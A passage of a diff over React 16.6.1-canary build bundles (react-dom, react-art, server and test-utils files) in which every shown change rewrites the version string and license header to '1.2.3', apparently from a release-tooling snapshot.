a._tagRef=b},accessKey:b.accessKey,className:b.className,draggable:b.draggable,role:b.role,style:b.style,tabIndex:b.tabIndex,title:b.title})};return a}(ba.Component),Xd=function(b){function a(c){Rd(this,a);var d=Pd(this,b.call(this,c));[\"height\",\"width\",\"x\",\"y\"].forEach(function(a){Object.defineProperty(d,a,{get:function(){return this._text?this._text[a]:void 0}})});return d}Qd(a,b);a.prototype.render=function(){var a=\n-this;return ba.createElement(C.TEXT,Od({},this.props,{ref:function(b){return a._text=b}}),Aa(this.props.children))};return a}(ba.Component);(function(b){var a=b.findFiberByHostInstance;return cb(aa({},b,{findHostInstanceByFiber:function(a){a=ya(a);return null===a?null:a.stateNode},findFiberByHostInstance:function(b){return a?a(b):null}}))})({findFiberByHostInstance:function(){return null},bundleType:0,version:\"16.6.1-canary-b3d1a81a9\",rendererPackageName:\"react-art\"});\n+this;return ba.createElement(C.TEXT,Od({},this.props,{ref:function(b){return a._text=b}}),Aa(this.props.children))};return a}(ba.Component);(function(b){var a=b.findFiberByHostInstance;return cb(aa({},b,{findHostInstanceByFiber:function(a){a=ya(a);return null===a?null:a.stateNode},findFiberByHostInstance:function(b){return a?a(b):null}}))})({findFiberByHostInstance:function(){return null},bundleType:0,version:\"1.2.3\",rendererPackageName:\"react-art\"});\n module.exports={ClippingRectangle:C.CLIPPING_RECTANGLE,Group:C.GROUP,Shape:C.SHAPE,Path:m.Path,LinearGradient:Td,Pattern:Vd,RadialGradient:Ud,Surface:Wd,Text:Xd,Transform:da};\nIndex: build/node_modules/react-dom/umd/react-dom-unstable-native-dependencies.production.min.js\n===================================================================\n--- build/node_modules/react-dom/umd/react-dom-unstable-native-dependencies.production.min.js\n+++ build/node_modules/react-dom/umd/react-dom-unstable-native-dependencies.production.min.js\n@@ -1,5 +1,5 @@\n-/** @license React v0.0.0-b3d1a81a9\n+/** @license React v1.2.3\n  * react-dom-unstable-native-dependencies.production.min.js\n  *\n  * Copyright (c) Meta Platforms, Inc. and affiliates.\n  *\nIndex: build/node_modules/react-dom/umd/react-dom-server.browser.development.js\n===================================================================\n--- build/node_modules/react-dom/umd/react-dom-server.browser.development.js\n+++ build/node_modules/react-dom/umd/react-dom-server.browser.development.js\n@@ -1,5 +1,5 @@\n-/** @license React v0.0.0-b3d1a81a9\n+/** @license React v1.2.3\n  * react-dom-server.browser.development.js\n  *\n  * Copyright (c) Meta Platforms, Inc. and affiliates.\n  *\n@@ -61,9 +61,9 @@\n // preserve the format and params in the www builds.\n\n // TODO: this is special because it gets imported during build.\n\n-var ReactVersion = '16.6.1-canary-b3d1a81a9';\n+var ReactVersion = '1.2.3';\n\n var ReactInternals = React.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED;\n\n var _assign = ReactInternals.assign;\nIndex: build/node_modules/react-dom/umd/react-dom.production.min.js\n===================================================================\n--- build/node_modules/react-dom/umd/react-dom.production.min.js\n+++ build/node_modules/react-dom/umd/react-dom.production.min.js\n@@ -1,5 +1,5 @@\n-/** @license React v0.0.0-b3d1a81a9\n+/** @license React v1.2.3\n  * react-dom.production.min.js\n  *\n  * Copyright (c) Meta Platforms, Inc. and affiliates.\n  *\n@@ -201,5 +201,5 @@\n 0;b<a.length;b++){var c=a[b];\"function\"!==typeof c?p(\"191\",c):void 0;c()}}};cb.prototype.render=function(a,b){var c=this._internalRoot,d=new bb;b=void 0===b?null:b;null!==b&&d.then(b);Sd(a,c,null,d._onCommit);return d};cb.prototype.unmount=function(a){var b=this._internalRoot,c=new bb;a=void 0===a?null:a;null!==a&&c.then(a);Sd(null,b,null,c._onCommit);return c};cb.prototype.legacy_renderSubtreeIntoContainer=function(a,b,c){var d=this._internalRoot,e=new bb;c=void 0===c?null:c;null!==c&&e.then(c);\n Sd(b,d,a,e._onCommit);return e};cb.prototype.createBatch=function(){var a=new Eb(this),b=a._expirationTime,c=this._internalRoot,d=c.firstBatch;if(null===d)c.firstBatch=a,a._next=null;else{for(c=null;null!==d&&d._expirationTime>=b;)c=d,d=d._next;a._next=d;null!==c&&(c._next=a)}return a};(function(a,b,c){te=a;Ue=b;ue=c})(mg,og,function(){M||0===fa||(ha(fa,!1),fa=0)});var Cg={createPortal:qg,findDOMNode:function(a){if(null==a)return null;if(1===a.nodeType)return a;var b=a._reactInternalFiber;void 0===\n b&&(\"function\"===typeof a.render?p(\"188\"):p(\"268\",Object.keys(a)));a=Pe(b);a=null===a?null:a.stateNode;return a},hydrate:function(a,b,c){return Cc(null,a,b,!0,c)},render:function(a,b,c){return Cc(null,a,b,!1,c)},unstable_renderSubtreeIntoContainer:function(a,b,c,d){null==a||void 0===a._reactInternalFiber?p(\"38\"):void 0;return Cc(a,b,c,!1,d)},unmountComponentAtNode:function(a){Bc(a)?void 0:p(\"40\");return a._reactRootContainer?(ng(function(){Cc(null,null,a,!1,function(){a._reactRootContainer=null})}),\n !0):!1},unstable_createPortal:function(){return qg.apply(void 0,arguments)},unstable_batchedUpdates:mg,unstable_interactiveUpdates:og,flushSync:function(a,b){M?p(\"187\"):void 0;var c=B;B=!0;try{return ig(a,b)}finally{B=c,ha(1073741823,!1)}},unstable_flushControlled:function(a){var b=B;B=!0;try{ig(a)}finally{(B=b)||M||ha(1073741823,!1)}},__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED:{Events:[ee,va,Lc,Vd.injectEventPluginsByName,Gc,Ha,function(a){Ic(a,Lg)},qe,re,Yb,Kc]},unstable_createRoot:function(a,\n-b){Bc(a)?void 0:p(\"299\",\"unstable_createRoot\");return new cb(a,!0,null!=b&&!0===b.hydrate)}};(function(a){var b=a.findFiberByHostInstance;return lh(G({},a,{findHostInstanceByFiber:function(a){a=Pe(a);return null===a?null:a.stateNode},findFiberByHostInstance:function(a){return b?b(a):null}}))})({findFiberByHostInstance:Nb,bundleType:0,version:\"16.6.1-canary-b3d1a81a9\",rendererPackageName:\"react-dom\"});var Dg={default:Cg},Eg=Dg&&Cg||Dg;return Eg.default||Eg});\n+b){Bc(a)?void 0:p(\"299\",\"unstable_createRoot\");return new cb(a,!0,null!=b&&!0===b.hydrate)}};(function(a){var b=a.findFiberByHostInstance;return lh(G({},a,{findHostInstanceByFiber:function(a){a=Pe(a);return null===a?null:a.stateNode},findFiberByHostInstance:function(a){return b?b(a):null}}))})({findFiberByHostInstance:Nb,bundleType:0,version:\"1.2.3\",rendererPackageName:\"react-dom\"});var Dg={default:Cg},Eg=Dg&&Cg||Dg;return Eg.default||Eg});\nIndex: build/node_modules/react-dom/umd/react-dom.profiling.min.js\n===================================================================\n--- build/node_modules/react-dom/umd/react-dom.profiling.min.js\n+++ build/node_modules/react-dom/umd/react-dom.profiling.min.js\n@@ -1,5 +1,5 @@\n-/** @license React v0.0.0-b3d1a81a9\n+/** @license React v1.2.3\n  * react-dom.profiling.min.js\n  *\n  * Copyright (c) Meta Platforms, Inc. and affiliates.\n  *\n@@ -205,6 +205,6 @@\n (b=this._callbacks=[]);b.push(a)}};Za.prototype._onCommit=function(){if(!this._didCommit){this._didCommit=!0;var a=this._callbacks;if(null!==a)for(var b=0;b<a.length;b++){var c=a[b];\"function\"!==typeof c?n(\"191\",c):void 0;c()}}};$a.prototype.render=function(a,b){var c=this._internalRoot,d=new Za;b=void 0===b?null:b;null!==b&&d.then(b);Pd(a,c,null,d._onCommit);return d};$a.prototype.unmount=function(a){var b=this._internalRoot,c=new Za;a=void 0===a?null:a;null!==a&&c.then(a);Pd(null,b,null,c._onCommit);\n return c};$a.prototype.legacy_renderSubtreeIntoContainer=function(a,b,c){var d=this._internalRoot,e=new Za;c=void 0===c?null:c;null!==c&&e.then(c);Pd(b,d,a,e._onCommit);return e};$a.prototype.createBatch=function(){var a=new Ab(this),b=a._expirationTime,c=this._internalRoot,d=c.firstBatch;if(null===d)c.firstBatch=a,a._next=null;else{for(c=null;null!==d&&d._expirationTime>=b;)c=d,d=d._next;a._next=d;null!==c&&(c._next=a)}return a};(function(a,b,c){qe=a;Re=b;re=c})(lg,ng,function(){L||0===da||(ea(da,\n !1),da=0)});var Bg={createPortal:pg,findDOMNode:function(a){if(null==a)return null;if(1===a.nodeType)return a;var b=a._reactInternalFiber;void 0===b&&(\"function\"===typeof a.render?n(\"188\"):n(\"268\",Object.keys(a)));a=Me(b);a=null===a?null:a.stateNode;return a},hydrate:function(a,b,c){return yc(null,a,b,!0,c)},render:function(a,b,c){return yc(null,a,b,!1,c)},unstable_renderSubtreeIntoContainer:function(a,b,c,d){null==a||void 0===a._reactInternalFiber?n(\"38\"):void 0;return yc(a,b,c,!1,d)},unmountComponentAtNode:function(a){xc(a)?\n void 0:n(\"40\");return a._reactRootContainer?(mg(function(){yc(null,null,a,!1,function(){a._reactRootContainer=null})}),!0):!1},unstable_createPortal:function(){return pg.apply(void 0,arguments)},unstable_batchedUpdates:lg,unstable_interactiveUpdates:ng,flushSync:function(a,b){L?n(\"187\"):void 0;var c=z;z=!0;try{return hg(a,b)}finally{z=c,ea(1073741823,!1)}},unstable_flushControlled:function(a){var b=z;z=!0;try{hg(a)}finally{(z=b)||L||ea(1073741823,!1)}},__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED:{Events:[be,\n-ta,Ic,Sd.injectEventPluginsByName,Dc,Ha,function(a){Fc(a,Kg)},ne,oe,Ub,Hc]},unstable_createRoot:function(a,b){xc(a)?void 0:n(\"299\",\"unstable_createRoot\");return new $a(a,!0,null!=b&&!0===b.hydrate)}};(function(a){var b=a.findFiberByHostInstance;return mh(A({},a,{findHostInstanceByFiber:function(a){a=Me(a);return null===a?null:a.stateNode},findFiberByHostInstance:function(a){return b?b(a):null}}))})({findFiberByHostInstance:Jb,bundleType:0,version:\"16.6.1-canary-b3d1a81a9\",rendererPackageName:\"react-dom\"});\n+ta,Ic,Sd.injectEventPluginsByName,Dc,Ha,function(a){Fc(a,Kg)},ne,oe,Ub,Hc]},unstable_createRoot:function(a,b){xc(a)?void 0:n(\"299\",\"unstable_createRoot\");return new $a(a,!0,null!=b&&!0===b.hydrate)}};(function(a){var b=a.findFiberByHostInstance;return mh(A({},a,{findHostInstanceByFiber:function(a){a=Me(a);return null===a?null:a.stateNode},findFiberByHostInstance:function(a){return b?b(a):null}}))})({findFiberByHostInstance:Jb,bundleType:0,version:\"1.2.3\",rendererPackageName:\"react-dom\"});\n var Cg={default:Bg},Dg=Cg&&Bg||Cg;return Dg.default||Dg});\nIndex: build/node_modules/react-dom/umd/react-dom-unstable-native-dependencies.development.js\n===================================================================\n--- build/node_modules/react-dom/umd/react-dom-unstable-native-dependencies.development.js\n+++ build/node_modules/react-dom/umd/react-dom-unstable-native-dependencies.development.js\n@@ -1,5 +1,5 @@\n-/** @license React v0.0.0-b3d1a81a9\n+/** @license React v1.2.3\n  * react-dom-unstable-native-dependencies.development.js\n  *\n  * Copyright (c) Meta Platforms, Inc. and affiliates.\n  *\nIndex: build/node_modules/react-dom/umd/react-dom-test-utils.production.min.js\n===================================================================\n--- build/node_modules/react-dom/umd/react-dom-test-utils.production.min.js\n+++ build/node_modules/react-dom/umd/react-dom-test-utils.production.min.js\n@@ -1,5 +1,5 @@\n-/** @license React v0.0.0-b3d1a81a9\n+/** @license React v1.2.3\n  * react-dom-test-utils.production.min.js\n  *\n  * Copyright (c) Meta Platforms, Inc. and affiliates.\n  *\nIndex: build/node_modules/react-dom/umd/react-dom.development.js\n===================================================================\n--- build/node_modules/react-dom/umd/react-dom.development.js\n+++ build/node_modules/react-dom/umd/react-dom.development.js\n@@ -1,5 +1,5 @@\n-/** @license React v0.0.0-b3d1a81a9\n+/** @license React v1.2.3\n  * react-dom.development.js\n  *\n  * Copyright (c) Meta Platforms, Inc. and affiliates.\n  *\n@@ -19471,9 +19471,9 @@\n }\n\n // TODO: this is special because it gets imported during build.\n\n-var ReactVersion = '16.6.1-canary-b3d1a81a9';\n+var ReactVersion = '1.2.3';\n\n // TODO: This type is shared between the reconciler and ReactDOM, but will\n // eventually be lifted out to the renderer.\n var ReactCurrentOwner = ReactSharedInternals.ReactCurrentOwner;\nIndex: build/node_modules/react-dom/umd/react-dom-server.browser.production.min.js\n===================================================================\n--- build/node_modules/react-dom/umd/react-dom-server.browser.production.min.js\n+++ build/node_modules/react-dom/umd/react-dom-server.browser.production.min.js\n@@ -1,5 +1,5 @@\n-/** @license React v0.0.0-b3d1a81a9\n+/** @license React v1.2.3\n  * react-dom-server.browser.production.min.js\n  *\n  * Copyright (c) Meta Platforms, Inc. and affiliates.\n  *\n@@ -36,5 +36,5 @@\n \"__html\"in h.dangerouslySetInnerHTML?void 0:v(\"61\")),null!=h.style&&\"object\"!==typeof h.style?v(\"62\",\"\"):void 0;h=d;e=this.makeStaticMarkup;k=1===this.stack.length;q=\"<\"+a.type;for(x in h)if(za.call(h,x)){var m=h[x];if(null!=m){if(\"style\"===x){p=void 0;var l=\"\",t=\"\";for(p in m)if(m.hasOwnProperty(p)){var n=0===p.indexOf(\"--\"),w=m[p];if(null!=w){var u=p;if(N.hasOwnProperty(u))u=N[u];else{var z=u.replace(va,\"-$1\").toLowerCase().replace(wa,\"-ms-\");u=N[u]=z}l+=t+u+\":\";t=p;n=null==w||\"boolean\"===typeof w||\n \"\"===w?\"\":n||\"number\"!==typeof w||0===w||D.hasOwnProperty(t)&&D[t]?(\"\"+w).trim():w+\"px\";l+=n;t=\";\"}}m=l||null}p=null;b:if(n=b,w=h,-1===n.indexOf(\"-\"))n=\"string\"===typeof w.is;else switch(n){case \"annotation-xml\":case \"color-profile\":case \"font-face\":case \"font-face-src\":case \"font-face-uri\":case \"font-face-format\":case \"font-face-name\":case \"missing-glyph\":n=!1;break b;default:n=!0}if(n)Aa.hasOwnProperty(x)||(p=x,p=X(p)&&null!=m?p+\"=\"+('\"'+B(m)+'\"'):\"\");else{n=x;p=m;m=r.hasOwnProperty(n)?r[n]:null;\n if(w=\"style\"!==n)w=null!==m?0===m.type:!(2<n.length)||\"o\"!==n[0]&&\"O\"!==n[0]||\"n\"!==n[1]&&\"N\"!==n[1]?!1:!0;w||na(n,p,m,!1)?p=\"\":null!==m?(n=m.attributeName,m=m.type,p=3===m||4===m&&!0===p?n+'=\"\"':n+\"=\"+('\"'+B(p)+'\"')):p=X(n)?n+\"=\"+('\"'+B(p)+'\"'):\"\"}p&&(q+=\" \"+p)}}e||k&&(q+=' data-reactroot=\"\"');var x=q;h=\"\";fa.hasOwnProperty(b)?x+=\"/>\":(x+=\">\",h=\"</\"+a.type+\">\");a:{e=d.dangerouslySetInnerHTML;if(null!=e){if(null!=e.__html){e=e.__html;break a}}else if(e=d.children,\"string\"===typeof e||\"number\"===typeof e){e=\n B(e);break a}e=null}null!=e?(d=[],xa[b]&&\"\\n\"===e.charAt(0)&&(x+=\"\\n\"),x+=e):d=A(d.children);a=a.type;c=null==c||\"http://www.w3.org/1999/xhtml\"===c?da(a):\"http://www.w3.org/2000/svg\"===c&&\"foreignObject\"===a?\"http://www.w3.org/1999/xhtml\":c;this.stack.push({domNamespace:c,type:b,children:d,childIndex:0,context:f,footer:h});this.previousWasTextNode=!1;return x};return a}();k={renderToString:function(a){a=new ia(a,!1);try{return a.read(Infinity)}finally{a.destroy()}},renderToStaticMarkup:function(a){a=\n-new ia(a,!0);try{return a.read(Infinity)}finally{a.destroy()}},renderToNodeStream:function(){v(\"207\")},renderToStaticNodeStream:function(){v(\"208\")},version:\"16.6.1-canary-b3d1a81a9\"};k=(z={default:k},k)||z;return k.default||k});\n+new ia(a,!0);try{return a.read(Infinity)}finally{a.destroy()}},renderToNodeStream:function(){v(\"207\")},renderToStaticNodeStream:function(){v(\"208\")},version:\"1.2.3\"};k=(z={default:k},k)||z;return k.default||k});\nIndex: build/node_modules/react-dom/umd/react-dom-test-utils.development.js\n===================================================================\n--- build/node_modules/react-dom/umd/react-dom-test-utils.development.js\n+++ build/node_modules/react-dom/umd/react-dom-test-utils.development.js\n@@ -1,5 +1,5 @@\n-/** @license React v0.0.0-b3d1a81a9\n+/** @license React v1.2.3\n  * react-dom-test-utils.development.js\n  *\n  * Copyright (c) Meta Platforms, Inc. and affiliates.\n  *\nIndex: build/node_modules/react-dom/cjs/react-dom-unstable-native-dependencies.production.min.js\n===================================================================\n--- build/node_modules/react-dom/cjs/react-dom-unstable-native-dependencies.production.min.js\n+++ build/node_modules/react-dom/cjs/react-dom-unstable-native-dependencies.production.min.js\n@@ -1,5 +1,5 @@\n-/** @license React v0.0.0-b3d1a81a9\n+/** @license React v1.2.3\n  * react-dom-unstable-native-dependencies.production.min.js\n  *\n  * Copyright (c) Meta Platforms, Inc. and affiliates.\n  *\nIndex: build/node_modules/react-dom/cjs/react-dom-server.node.production.min.js\n===================================================================\n--- build/node_modules/react-dom/cjs/react-dom-server.node.production.min.js\n+++ build/node_modules/react-dom/cjs/react-dom-server.node.production.min.js\n@@ -1,5 +1,5 @@\n-/** @license React v0.0.0-b3d1a81a9\n+/** @license React v1.2.3\n  * react-dom-server.node.production.min.js\n  *\n  * Copyright (c) Meta Platforms, Inc. and affiliates.\n  *\n@@ -43,5 +43,5 @@\n !1;break b;default:m=!0}if(m)Ea.hasOwnProperty(x)||(n=x,n=la(n)&&null!=l?n+\"=\"+('\"'+T(l)+'\"'):\"\");else{m=x;n=l;l=Q.hasOwnProperty(m)?Q[m]:null;if(t=\"style\"!==m)t=null!==l?0===l.type:!(2<m.length)||\"o\"!==m[0]&&\"O\"!==m[0]||\"n\"!==m[1]&&\"N\"!==m[1]?!1:!0;t||na(m,n,l,!1)?n=\"\":null!==l?(m=l.attributeName,l=l.type,n=3===l||4===l&&!0===n?m+'=\"\"':m+\"=\"+('\"'+T(n)+'\"')):n=la(m)?m+\"=\"+('\"'+T(n)+'\"'):\"\"}n&&(A+=\" \"+n)}}g||B&&(A+=' data-reactroot=\"\"');var x=A;h=\"\";ua.hasOwnProperty(b)?x+=\"/>\":(x+=\">\",h=\"</\"+a.type+\n \">\");a:{g=d.dangerouslySetInnerHTML;if(null!=g){if(null!=g.__html){g=g.__html;break a}}else if(g=d.children,\"string\"===typeof g||\"number\"===typeof g){g=T(g);break a}g=null}null!=g?(d=[],za[b]&&\"\\n\"===g.charAt(0)&&(x+=\"\\n\"),x+=g):d=W(d.children);a=a.type;c=null==c||\"http://www.w3.org/1999/xhtml\"===c?ta(a):\"http://www.w3.org/2000/svg\"===c&&\"foreignObject\"===a?\"http://www.w3.org/1999/xhtml\":c;this.stack.push({domNamespace:c,type:b,children:d,childIndex:0,context:f,footer:h});this.previousWasTextNode=\n !1;return x};return a}();function Ha(a,b){if(\"function\"!==typeof b&&null!==b)throw new TypeError(\"Super expression must either be null or a function, not \"+typeof b);a.prototype=Object.create(b&&b.prototype,{constructor:{value:a,enumerable:!1,writable:!0,configurable:!0}});b&&(Object.setPrototypeOf?Object.setPrototypeOf(a,b):a.__proto__=b)}\n var Ia=function(a){function b(f,c){if(!(this instanceof b))throw new TypeError(\"Cannot call a class as a function\");var e=a.call(this,{});if(!this)throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\");e=!e||\"object\"!==typeof e&&\"function\"!==typeof e?this:e;e.partialRenderer=new Z(f,c);return e}Ha(b,a);b.prototype._destroy=function(){this.partialRenderer.destroy()};b.prototype._read=function(a){try{this.push(this.partialRenderer.read(a))}catch(c){this.destroy(c)}};return b}(aa.Readable),\n-Ja={renderToString:function(a){a=new Z(a,!1);try{return a.read(Infinity)}finally{a.destroy()}},renderToStaticMarkup:function(a){a=new Z(a,!0);try{return a.read(Infinity)}finally{a.destroy()}},renderToNodeStream:function(a){return new Ia(a,!1)},renderToStaticNodeStream:function(a){return new Ia(a,!0)},version:\"16.6.1-canary-b3d1a81a9\"},Ka={default:Ja},La=Ka&&Ja||Ka;module.exports=La.default||La;\n+Ja={renderToString:function(a){a=new Z(a,!1);try{return a.read(Infinity)}finally{a.destroy()}},renderToStaticMarkup:function(a){a=new Z(a,!0);try{return a.read(Infinity)}finally{a.destroy()}},renderToNodeStream:function(a){return new Ia(a,!1)},renderToStaticNodeStream:function(a){return new Ia(a,!0)},version:\"1.2.3\"},Ka={default:Ja},La=Ka&&Ja||Ka;module.exports=La.default||La;\nIndex: build/node_modules/react-dom/cjs/react-dom-server.browser.development.js\n===================================================================\n--- build/node_modules/react-dom/cjs/react-dom-server.browser.development.js\n+++ build/node_modules/react-dom/cjs/react-dom-server.browser.development.js\n@@ -1,5 +1,5 @@\n-/** @license React v0.0.0-b3d1a81a9\n+/** @license React v1.2.3\n  * react-dom-server.browser.development.js\n  *\n  * Copyright (c) Meta Platforms, Inc. and affiliates.\n  *\n@@ -65,9 +65,9 @@\n // preserve the format and params in the www builds.\n\n // TODO: this is special because it gets imported during build.\n\n-var ReactVersion = '16.6.1-canary-b3d1a81a9';\n+var ReactVersion = '1.2.3';\n\n /**\n  * Similar to invariant but only logs a warning if the condition is not met.\n  * This can be used to log issues in development environments in critical\nIndex: build/node_modules/react-dom/cjs/react-dom.production.min.js\n===================================================================\n--- build/node_modules/react-dom/cjs/react-dom.production.min.js\n+++ build/node_modules/react-dom/cjs/react-dom.production.min.js\n@@ -1,5 +1,5 @@\n-/** @license React v0.0.0-b3d1a81a9\n+/** @license React v1.2.3\n  * react-dom.production.min.js\n  *\n  * Copyright (c) Meta Platforms, Inc. and affiliates.\n  *\n@@ -244,6 +244,6 @@\n function ai(a,b,c,d,e){Zh(c)?void 0:t(\"200\");var f=c._reactRootContainer;if(f){if(\"function\"===typeof e){var g=e;e=function(){var a=Th(f._internalRoot);g.call(a)}}null!=a?f.legacy_renderSubtreeIntoContainer(a,b,e):f.render(b,e)}else{f=c._reactRootContainer=$h(c,d);if(\"function\"===typeof e){var h=e;e=function(){var a=Th(f._internalRoot);h.call(a)}}Ph(function(){null!=a?f.legacy_renderSubtreeIntoContainer(a,b,e):f.render(b,e)})}return Th(f._internalRoot)}\n function bi(a,b){var c=2<arguments.length&&void 0!==arguments[2]?arguments[2]:null;Zh(b)?void 0:t(\"200\");return Vh(a,b,null,c)}\n var ci={createPortal:bi,findDOMNode:function(a){if(null==a)return null;if(1===a.nodeType)return a;var b=a._reactInternalFiber;void 0===b&&(\"function\"===typeof a.render?t(\"188\"):t(\"268\",Object.keys(a)));a=nd(b);a=null===a?null:a.stateNode;return a},hydrate:function(a,b,c){return ai(null,a,b,!0,c)},render:function(a,b,c){return ai(null,a,b,!1,c)},unstable_renderSubtreeIntoContainer:function(a,b,c,d){null==a||void 0===a._reactInternalFiber?t(\"38\"):void 0;return ai(a,b,c,!1,d)},unmountComponentAtNode:function(a){Zh(a)?\n void 0:t(\"40\");return a._reactRootContainer?(Ph(function(){ai(null,null,a,!1,function(){a._reactRootContainer=null})}),!0):!1},unstable_createPortal:function(){return bi.apply(void 0,arguments)},unstable_batchedUpdates:Oh,unstable_interactiveUpdates:Qh,flushSync:function(a,b){X?t(\"187\"):void 0;var c=Z;Z=!0;try{return rh(a,b)}finally{Z=c,Lh(1073741823,!1)}},unstable_flushControlled:function(a){var b=Z;Z=!0;try{rh(a)}finally{(Z=b)||X||Lh(1073741823,!1)}},__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED:{Events:[Ja,\n-Ka,La,Ca.injectEventPluginsByName,qa,Ra,function(a){za(a,Qa)},Ib,Jb,Jd,Ea]},unstable_createRoot:function(a,b){Zh(a)?void 0:t(\"299\",\"unstable_createRoot\");return new Yh(a,!0,null!=b&&!0===b.hydrate)}};(function(a){var b=a.findFiberByHostInstance;return Ve(n({},a,{findHostInstanceByFiber:function(a){a=nd(a);return null===a?null:a.stateNode},findFiberByHostInstance:function(a){return b?b(a):null}}))})({findFiberByHostInstance:Ia,bundleType:0,version:\"16.6.1-canary-b3d1a81a9\",rendererPackageName:\"react-dom\"});\n+Ka,La,Ca.injectEventPluginsByName,qa,Ra,function(a){za(a,Qa)},Ib,Jb,Jd,Ea]},unstable_createRoot:function(a,b){Zh(a)?void 0:t(\"299\",\"unstable_createRoot\");return new Yh(a,!0,null!=b&&!0===b.hydrate)}};(function(a){var b=a.findFiberByHostInstance;return Ve(n({},a,{findHostInstanceByFiber:function(a){a=nd(a);return null===a?null:a.stateNode},findFiberByHostInstance:function(a){return b?b(a):null}}))})({findFiberByHostInstance:Ia,bundleType:0,version:\"1.2.3\",rendererPackageName:\"react-dom\"});\n var fi={default:ci},gi=fi&&ci||fi;module.exports=gi.default||gi;\nIndex: build/node_modules/react-dom/cjs/react-dom.profiling.min.js\n===================================================================\n--- build/node_modules/react-dom/cjs/react-dom.profiling.min.js\n+++ build/node_modules/react-dom/cjs/react-dom.profiling.min.js\n@@ -1,5 +1,5 @@\n-/** @license React v0.0.0-b3d1a81a9\n+/** @license React v1.2.3\n  * react-dom.profiling.min.js\n  *\n  * Copyright (c) Meta Platforms, Inc. and affiliates.\n  *\n@@ -255,6 +255,6 @@\n function di(a,b,c,d,e){bi(c)?void 0:x(\"200\");var f=c._reactRootContainer;if(f){if(\"function\"===typeof e){var g=e;e=function(){var a=Xh(f._internalRoot);g.call(a)}}null!=a?f.legacy_renderSubtreeIntoContainer(a,b,e):f.render(b,e)}else{f=c._reactRootContainer=ci(c,d);if(\"function\"===typeof e){var h=e;e=function(){var a=Xh(f._internalRoot);h.call(a)}}Th(function(){null!=a?f.legacy_renderSubtreeIntoContainer(a,b,e):f.render(b,e)})}return Xh(f._internalRoot)}\n function ei(a,b){var c=2<arguments.length&&void 0!==arguments[2]?arguments[2]:null;bi(b)?void 0:x(\"200\");return Yh(a,b,null,c)}\n var fi={createPortal:ei,findDOMNode:function(a){if(null==a)return null;if(1===a.nodeType)return a;var b=a._reactInternalFiber;void 0===b&&(\"function\"===typeof a.render?x(\"188\"):x(\"268\",Object.keys(a)));a=jd(b);a=null===a?null:a.stateNode;return a},hydrate:function(a,b,c){return di(null,a,b,!0,c)},render:function(a,b,c){return di(null,a,b,!1,c)},unstable_renderSubtreeIntoContainer:function(a,b,c,d){null==a||void 0===a._reactInternalFiber?x(\"38\"):void 0;return di(a,b,c,!1,d)},unmountComponentAtNode:function(a){bi(a)?\n void 0:x(\"40\");return a._reactRootContainer?(Th(function(){di(null,null,a,!1,function(){a._reactRootContainer=null})}),!0):!1},unstable_createPortal:function(){return ei.apply(void 0,arguments)},unstable_batchedUpdates:Sh,unstable_interactiveUpdates:Uh,flushSync:function(a,b){V?x(\"187\"):void 0;var c=Y;Y=!0;try{return Ah(a,b)}finally{Y=c,Ph(1073741823,!1)}},unstable_flushControlled:function(a){var b=Y;Y=!0;try{Ah(a)}finally{(Y=b)||V||Ph(1073741823,!1)}},__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED:{Events:[Ja,\n-Ka,La,Ca.injectEventPluginsByName,pa,Ra,function(a){ya(a,Qa)},Gb,Hb,Fd,Ea]},unstable_createRoot:function(a,b){bi(a)?void 0:x(\"299\",\"unstable_createRoot\");return new ai(a,!0,null!=b&&!0===b.hydrate)}};(function(a){var b=a.findFiberByHostInstance;return Ue(n({},a,{findHostInstanceByFiber:function(a){a=jd(a);return null===a?null:a.stateNode},findFiberByHostInstance:function(a){return b?b(a):null}}))})({findFiberByHostInstance:Ia,bundleType:0,version:\"16.6.1-canary-b3d1a81a9\",rendererPackageName:\"react-dom\"});\n+Ka,La,Ca.injectEventPluginsByName,pa,Ra,function(a){ya(a,Qa)},Gb,Hb,Fd,Ea]},unstable_createRoot:function(a,b){bi(a)?void 0:x(\"299\",\"unstable_createRoot\");return new ai(a,!0,null!=b&&!0===b.hydrate)}};(function(a){var b=a.findFiberByHostInstance;return Ue(n({},a,{findHostInstanceByFiber:function(a){a=jd(a);return null===a?null:a.stateNode},findFiberByHostInstance:function(a){return b?b(a):null}}))})({findFiberByHostInstance:Ia,bundleType:0,version:\"1.2.3\",rendererPackageName:\"react-dom\"});\n var gi={default:fi},hi=gi&&fi||gi;module.exports=hi.default||hi;\nIndex: build/node_modules/react-dom/cjs/react-dom-server.node.development.js\n===================================================================\n--- build/node_modules/react-dom/cjs/react-dom-server.node.development.js\n+++ build/node_modules/react-dom/cjs/react-dom-server.node.development.js\n@@ -1,5 +1,5 @@\n-/** @license React v0.0.0-b3d1a81a9\n+/** @license React v1.2.3\n  * react-dom-server.node.development.js\n  *\n  * Copyright (c) Meta Platforms, Inc. and affiliates.\n  *\n@@ -21,9 +21,9 @@\n var stream = require('stream');\n\n // TODO: this is special because it gets imported during build.\n\n-var ReactVersion = '16.6.1-canary-b3d1a81a9';\n+var ReactVersion = '1.2.3';\n\n /**\n  * Use invariant() to assert state which your program assumes to be true.\n  *\nIndex: build/node_modules/react-dom/cjs/react-dom-unstable-native-dependencies.development.js\n===================================================================\n--- build/node_modules/react-dom/cjs/react-dom-unstable-native-dependencies.development.js\n+++ build/node_modules/react-dom/cjs/react-dom-unstable-native-dependencies.development.js\n@@ -1,5 +1,5 @@\n-/** @license React v0.0.0-b3d1a81a9\n+/** @license React v1.2.3\n  * react-dom-unstable-native-dependencies.development.js\n  *\n  * Copyright (c) Meta Platforms, Inc. and affiliates.\n  *\nIndex: build/node_modules/react-dom/cjs/react-dom-test-utils.production.min.js\n===================================================================\n--- build/node_modules/react-dom/cjs/react-dom-test-utils.production.min.js\n+++ build/node_modules/react-dom/cjs/react-dom-test-utils.production.min.js\n@@ -1,5 +1,5 @@\n-/** @license React v0.0.0-b3d1a81a9\n+/** @license React v1.2.3\n  * react-dom-test-utils.production.min.js\n  *\n  * Copyright (c) Meta Platforms, Inc. and affiliates.\n  *\nIndex: build/node_modules/react-dom/cjs/react-dom.development.js\n===================================================================\n--- build/node_modules/react-dom/cjs/react-dom.development.js\n+++ 